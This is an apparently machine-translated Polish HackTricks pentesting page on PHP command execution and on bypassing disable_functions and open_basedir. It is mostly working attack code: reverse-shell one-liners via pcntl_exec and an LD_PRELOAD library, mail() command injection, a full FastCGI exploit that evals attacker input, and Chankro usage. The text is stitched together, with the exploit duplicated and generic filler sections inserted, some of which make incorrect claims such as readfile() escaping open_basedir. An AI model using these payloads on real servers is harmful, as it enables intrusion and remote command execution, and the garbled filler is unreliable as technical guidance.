PHP - Przydatne funkcje & bypass disable_functions/open_basedir
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Wykonanie polecenia i kodu w PHP
Wykonanie polecenia w PHP
Uwaga: p0wny-shell php webshell może automatycznie sprawdzić i ominąć następujące funkcje, jeśli któreś z nich jest wyłączone.
exec - Zwraca ostatnią linię wyniku polecenia
echo exec("uname -a");
passthru - Przekazuje wynik poleceń bezpośrednio do przeglądarki
echo passthru("uname -a");
system - Przekazuje wynik poleceń bezpośrednio do przeglądarki i zwraca ostatnią linię
echo system("uname -a");
shell_exec - Zwraca wynik wykonania komendy
echo shell_exec("uname -a");
`` (backticks) - To samo co shell_exec()
echo `uname -a`
popen - Otwiera potok do odczytu lub zapisu do procesu komendy
echo fread(popen("/bin/ls /", "r"), 4096);
proc_open - Podobne do popen(), ale z większą kontrolą
proc_close(proc_open("uname -a",array(),$something));
preg_replace
Funkcja preg_replace
w PHP jest używana do wyszukiwania i zamiany wzorców w ciągach znaków. Przyjmuje trzy argumenty: wzorzec, zastąpienie i ciąg, w którym ma być wykonana zamiana. Funkcja ta używa wyrażeń regularnych do dopasowania wzorca i dokonuje zamiany na podstawie zastąpienia.
Przykład użycia:
$string = "Hello, World!";
$pattern = "/World/";
$replacement = "Universe";
$result = preg_replace($pattern, $replacement, $string);
echo $result; // Output: Hello, Universe!
W powyższym przykładzie funkcja preg_replace
wyszukuje wzorzec "/World/" w ciągu znaków "$string" i zamienia go na "Universe". Wynik zostaje wyświetlony na ekranie.
Funkcja preg_replace
jest przydatna w wielu scenariuszach, takich jak usuwanie niechcianych znaków, formatowanie danych, walidacja danych wejściowych itp.
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
pcntl_exec - Wykonuje program (domyślnie w nowoczesnym i nie tak nowoczesnym PHP musisz załadować moduł pcntl.so
, aby użyć tej funkcji)
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
mail / mb_send_mail - Ta funkcja służy do wysyłania wiadomości e-mail, ale może być również wykorzystana do wstrzykiwania dowolnych poleceń w parametrze $options
. Dzieje się tak, ponieważ funkcja mail
w PHP zazwyczaj wywołuje binarny plik sendmail
w systemie i umożliwia dodawanie dodatkowych opcji. Jednak nie będziesz w stanie zobaczyć wyniku wykonanego polecenia, dlatego zaleca się utworzenie skryptu powłoki, który zapisuje wynik do pliku, wykonanie go za pomocą funkcji mail i wyświetlenie wyniku:
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
dl - Ta funkcja może być używana do dynamicznego ładowania rozszerzenia PHP. Ta funkcja nie zawsze będzie dostępna, więc powinieneś sprawdzić, czy jest dostępna, zanim spróbujesz jej wykorzystać. Przeczytaj tę stronę, aby dowiedzieć się, jak wykorzystać tę funkcję.
Wykonanie kodu PHP
Oprócz eval istnieją inne sposoby wykonania kodu PHP: include/require mogą być używane do zdalnego wykonania kodu w postaci podatności na lokalne dołączanie plików (Local File Include) i zdalne dołączanie plików (Remote File Include).
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
eval()
assert() // identical to eval()
preg_replace('/.*/e',...) // e does an eval() on the match
create_function() // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);
$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());
// or serialize/unserialize function
disable_functions & open_basedir
Funkcje wyłączone to ustawienie, które można skonfigurować w plikach .ini
w PHP, które zabrania korzystania z wskazanych funkcji. Open basedir to ustawienie, które wskazuje PHP folder, do którego ma dostęp.
Ustawienie PHP powinno być skonfigurowane w ścieżce /etc/php7/conf.d lub podobnej.
Obie konfiguracje można zobaczyć w wyniku polecenia phpinfo()
:
open_basedir Bypass
open_basedir
skonfiguruje foldery, do których PHP ma dostęp, nie będziesz mógł zapisywać/odczytywać/wykonująć żadnych plików poza tymi folderami, ale również nie będziesz mógł nawet wyświetlić innych katalogów.
Jednak jeśli w jakiś sposób jesteś w stanie wykonać dowolny kod PHP, możesz spróbować poniższego fragmentu kodu, aby spróbować obejść ograniczenie.
Wyświetlanie katalogów za pomocą omijania glob://
W tym pierwszym przykładzie używany jest protokół glob://
z pewnym omijaniem ścieżki:
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
Uwaga1: W ścieżce można również użyć /e??/*
aby wyświetlić /etc/*
i inne foldery.
Uwaga2: Wygląda na to, że część kodu jest zduplikowana, ale jest to konieczne!
Uwaga3: Ten przykład jest przydatny tylko do wyświetlania folderów, a nie do odczytywania plików
Pełne obejście open_basedir przy wykorzystaniu FastCGI
Jeśli chcesz dowiedzieć się więcej o PHP-FPM i FastCGI, możesz przeczytać pierwszą sekcję tej strony.
Jeśli php-fpm
jest skonfigurowany, można go wykorzystać do całkowitego obejścia open_basedir:
Zauważ, że pierwszą rzeczą, którą musisz zrobić, jest znalezienie gniazda unixowego php-fpm. Zazwyczaj znajduje się ono w /var/run
, więc możesz użyć wcześniejszego kodu, aby wyświetlić katalog i je znaleźć.
Kod pochodzi stąd.
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Złe żądanie');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Ta aplikacja nie obsługuje multiplexingu [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Nowe żądanie odrzucone; zbyt zajęty [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Nieznana wartość roli [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// prawdziwy exploit zaczyna się tutaj
if (!isset($_REQUEST['cmd'])) {
die("Sprawdź swoje dane wejściowe\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Nic nie robi
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
Ten skrypt będzie komunikować się z gniazdem unixowym php-fpm (zazwyczaj znajdującym się w /var/run, jeśli jest używany fpm) w celu wykonania dowolnego kodu. Ustawienia open_basedir
zostaną nadpisane przez atrybut PHP_VALUE, który jest wysyłany.
Zauważ, jak używane jest eval
, aby wykonać kod PHP, który wysyłasz w parametrze cmd.
Zauważ również zakomentowaną linię 324, możesz ją odkomentować, a payload automatycznie połączy się z podanym adresem URL i wykona zawarty tam kod PHP.
Wystarczy wejść na stronę http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');
aby uzyskać zawartość pliku /etc/passwd
.
{% hint style="warning" %}
Możesz pomyśleć, że tak samo jak nadpisaliśmy konfigurację open_basedir
, możemy nadpisać disable_functions
. Spróbuj, ale to nie zadziała, wygląda na to, że disable_functions
można skonfigurować tylko w pliku konfiguracyjnym .ini
php, a zmiany dokonane za pomocą PHP_VALUE nie będą miały wpływu na tę konkretne ustawienie.
{% endhint %}
Bypass disable_functions
Jeśli masz kod PHP wykonujący się wewnątrz maszyny, prawdopodobnie chcesz przejść do następnego poziomu i wykonywać dowolne polecenia systemowe. W tej sytuacji zwykle odkrywasz, że większość lub wszystkie funkcje PHP, które pozwalają na wykonywanie poleceń systemowych, zostały wyłączone w disable_functions
.
Zobaczmy więc, jak możesz ominąć to ograniczenie (jeśli możesz).
Automatyczne odkrywanie omijania
Możesz użyć narzędzia https://github.com/teambi0s/dfunc-bypasser, które wskaże, która funkcja (jeśli istnieje) może zostać użyta do ominięcia disable_functions
.
Ominięcie za pomocą innych funkcji systemowych
Po prostu wróć na początek tej strony i sprawdź, czy któraś z funkcji wykonujących polecenia nie jest wyłączona i dostępna w środowisku. Jeśli znajdziesz przynajmniej jedną z nich, będziesz mógł jej użyć do wykonania dowolnych poleceń systemowych.
Ominięcie za pomocą LD_PRELOAD
Wiadomo, że niektóre funkcje w PHP, takie jak mail()
, wykonują binaria wewnątrz systemu. Możesz więc je wykorzystać, używając zmiennej środowiskowej LD_PRELOAD
, aby spowodować załadowanie dowolnej biblioteki, która może wykonywać cokolwiek.
Funkcje, które można użyć do ominięcia disable_functions za pomocą LD_PRELOAD
mail
mb_send_mail
: Skuteczne, gdy zainstalowany jest modułphp-mbstring
.imap_mail
: Działa, jeśli jest obecny modułphp-imap
.libvirt_connect
: Wymaga modułuphp-libvirt-php
.gnupg_init
: Możliwe do wykorzystania z zainstalowanym modułemphp-gnupg
.new imagick()
: Ta klasa może być wykorzystana do ominięcia ograniczeń. Szczegółowe techniki eksploatacji można znaleźć w obszernym opisie tutaj.
Możesz znaleźć tutaj skrypt fuzzingowy, który został użyty do znalezienia tych funkcji.
Oto biblioteka, którą możesz skompilować, aby wykorzystać zmienną środowiskową LD_PRELOAD
:
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}
Ominięcie za pomocą Chankro
Aby wykorzystać tę nieprawidłową konfigurację, możesz użyć Chankro. Jest to narzędzie, które generuje exploit PHP, który musisz przesłać na podatny serwer i go uruchomić (uzyskać do niego dostęp za pośrednictwem sieci).
Chankro zapisze na dysku ofiary bibliotekę i odwróconą powłokę, którą chcesz uruchomić, i użyje sztuczki**LD_PRELOAD
+ funkcji PHP mail()
** do uruchomienia odwróconej powłoki.
Należy zauważyć, że w celu użycia Chankro, mail
i putenv
nie mogą znajdować się na liście disable_functions
.
W poniższym przykładzie możesz zobaczyć, jak utworzyć exploit Chankro dla architektury 64-bitowej, który będzie wykonywał polecenie whoami
i zapisze wynik w /tmp/chankro_shell.out, Chankro zapisze bibliotekę i payload w /tmp, a ostateczny exploit będzie nosił nazwę bicho.php (to jest plik, który musisz przesłać na serwer ofiary):
{% tabs %} {% tab title="shell.sh" %}
#!/bin/sh
whoami > /tmp/chankro_shell.out
Funkcje PHP przydatne do wyłączania funkcji disable_functions i bypassowania open_basedir
W niektórych przypadkach, podczas testowania penetracyjnego aplikacji internetowych napisanych w PHP, możemy napotkać na ograniczenia, takie jak wyłączone funkcje PHP lub ustawiony parametr open_basedir. W takich sytuacjach istnieją pewne funkcje PHP, które mogą pomóc nam obejść te ograniczenia.
Wyłączanie funkcji PHP
W przypadku, gdy administrator wyłączył pewne funkcje PHP, możemy spróbować użyć innych funkcji, które wykonują podobne zadania. Oto kilka przykładów:
exec()
- Możemy użyć funkcjishell_exec()
lubsystem()
zamiastexec()
, aby wykonać polecenie systemowe.passthru()
- Możemy użyć funkcjisystem()
lubshell_exec()
zamiastpassthru()
, aby wykonać polecenie systemowe i przekazać wynik bezpośrednio na wyjście.popen()
- Możemy użyć funkcjiproc_open()
zamiastpopen()
, aby uruchomić proces i uzyskać dostęp do jego strumienia wejściowego/wyjściowego.system()
- Możemy użyć funkcjiexec()
lubshell_exec()
zamiastsystem()
, aby wykonać polecenie systemowe.
Bypassowanie parametru open_basedir
Parametr open_basedir jest używany do ograniczenia dostępu do plików i katalogów w PHP. Jeśli jest ustawiony, PHP nie będzie mógł otworzyć plików spoza określonej ścieżki. Istnieją jednak pewne funkcje PHP, które mogą pomóc nam obejść ten parametr:
readfile()
- Możemy użyć funkcjireadfile()
do odczytu zawartości pliku spoza określonej ścieżki.file_get_contents()
- Możemy użyć funkcjifile_get_contents()
do odczytu zawartości pliku spoza określonej ścieżki.file_put_contents()
- Możemy użyć funkcjifile_put_contents()
do zapisu zawartości pliku spoza określonej ścieżki.fopen()
- Możemy użyć funkcjifopen()
z parametrem "r+" lub "w" do otwarcia pliku spoza określonej ścieżki w trybie odczytu lub zapisu.
Pamiętaj, że wykorzystywanie tych funkcji do obejścia ograniczeń może być nielegalne i naruszać zasady etyczne. Zawsze przestrzegaj praw i przepisów obowiązujących w Twoim kraju.
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
{% endtab %} {% endtabs %}
Jeśli zauważysz, że funkcja mail jest zablokowana przez wyłączone funkcje, nadal możesz użyć funkcji mb_send_mail.
Więcej informacji na temat tej techniki i Chankro znajdziesz tutaj: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
"Bypass" za pomocą możliwości PHP
Należy zauważyć, że za pomocą PHP można odczytywać i zapisywać pliki, tworzyć katalogi i zmieniać uprawnienia.
Można nawet wykonywać zrzuty baz danych.
Może za pomocą PHP i wyliczenia pudełka znajdziesz sposób na eskalację uprawnień/wykonanie poleceń (na przykład odczytanie pewnego prywatnego klucza ssh).
Stworzyłem webshell, który ułatwia wykonywanie tych czynności (należy pamiętać, że większość webshelli oferuje również te opcje): https://github.com/carlospolop/phpwebshelllimited
Bypassy zależne od modułów/wersji
Istnieje kilka sposobów na obejście wyłączonych funkcji, jeśli używany jest jakiś konkretny moduł lub wykorzystuje się określoną wersję PHP:
- FastCGI/PHP-FPM (FastCGI Process Manager)
- Bypass z użyciem FFI - Foreign Function Interface enabled
- Bypass za pomocą mem
- mod_cgi
- Rozszerzenie PHP Perl Safe_mode
- Funkcja dl
- Ten exploit
- 5.* - podatne na drobne zmiany w PoC
- 7.0 - wszystkie wersje do tej pory
- 7.1 - wszystkie wersje do tej pory
- 7.2 - wszystkie wersje do tej pory
- 7.3 - wszystkie wersje do tej pory
- 7.4 - wszystkie wersje do tej pory
- 8.0 - wszystkie wersje do tej pory
- Od wersji 7.0 do 8.0 exploit (tylko Unix)
- PHP 7.0=7.4 (*nix)
- Imagick 3.3.0 PHP >= 5.4
- PHP 5.x Shellsock
- PHP 5.2.4 ionCube
- PHP <= 5.2.9 Windows
- PHP 5.2.4/5.2.5 cURL
- PHP 5.2.3 -Win32std
- PHP 5.2 Exploit FOpen
- PHP 4 >= 4.2.-, PHP 5 pcntl_exec
Automatyczne narzędzie
Następujący skrypt próbuje kilku z omówionych tutaj metod:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php
Inne interesujące funkcje PHP
Lista funkcji akceptujących wywołania zwrotne
Te funkcje akceptują parametr w postaci ciągu znaków, który może być użyty do wywołania funkcji wybranej przez atakującego. W zależności od funkcji atakujący może mieć lub nie mieć możliwość przekazania parametru. W takim przypadku można użyć funkcji ujawniania informacji, takiej jak phpinfo().
// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,
Ujawnienie informacji
Większość tych wywołań funkcji nie jest źródłem zagrożenia. Jednak może to być podatność, jeśli jakiekolwiek zwracane dane są widoczne dla atakującego. Jeśli atakujący może zobaczyć phpinfo(), jest to zdecydowanie podatność.
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid
Inne
The disable_functions
directive in PHP allows you to disable certain functions for security reasons. However, it is possible to bypass this restriction using various techniques.
Bypassing disable_functions
-
Using
system
function: If thesystem
function is not disabled, you can use it to execute arbitrary commands. For example, you can executephpinfo()
by runningsystem('php -r "phpinfo();"')
. -
Using
shell_exec
function: Similar to thesystem
function, ifshell_exec
is not disabled, you can use it to execute commands. For example, you can executephpinfo()
by runningshell_exec('php -r "phpinfo();"')
. -
Using
exec
function: If theexec
function is not disabled, you can use it to execute commands. For example, you can executephpinfo()
by runningexec('php -r "phpinfo();"')
. -
Using
popen
function: If thepopen
function is not disabled, you can use it to execute commands. For example, you can executephpinfo()
by runningpopen('php -r "phpinfo();"', 'r')
. -
Using
proc_open
function: If theproc_open
function is not disabled, you can use it to execute commands. For example, you can executephpinfo()
by running the following code:
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open('php -r "phpinfo();"', $descriptorspec, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
-
Using
passthru
function: If thepassthru
function is not disabled, you can use it to execute commands. For example, you can executephpinfo()
by runningpassthru('php -r "phpinfo();"')
. -
Using
eval
function: If theeval
function is not disabled, you can use it to execute arbitrary PHP code. For example, you can executephpinfo()
by runningeval('phpinfo();')
. -
Using
assert
function: If theassert
function is not disabled, you can use it to execute arbitrary PHP code. For example, you can executephpinfo()
by runningassert('phpinfo();')
. -
Using
create_function
function: If thecreate_function
function is not disabled, you can use it to create a function that executes arbitrary PHP code. For example, you can executephpinfo()
by running the following code:
$func = create_function('', 'phpinfo();');
$func();
- Using
include
orrequire
functions: If theinclude
orrequire
functions are not disabled, you can use them to include a file that contains the desired code. For example, you can create a file namedpayload.php
with the following content:
<?php
phpinfo();
?>
And then include it by running include('payload.php')
or require('payload.php')
.
Conclusion
By using the techniques mentioned above, you can bypass the disable_functions
directive in PHP and execute arbitrary code. However, it is important to note that these techniques should only be used for educational and ethical purposes, such as penetration testing or securing your own systems.
extract // Opens the door for register_globals attacks (see study in scarlet).
parse_str // works like extract if only one argument is given.
putenv
ini_set
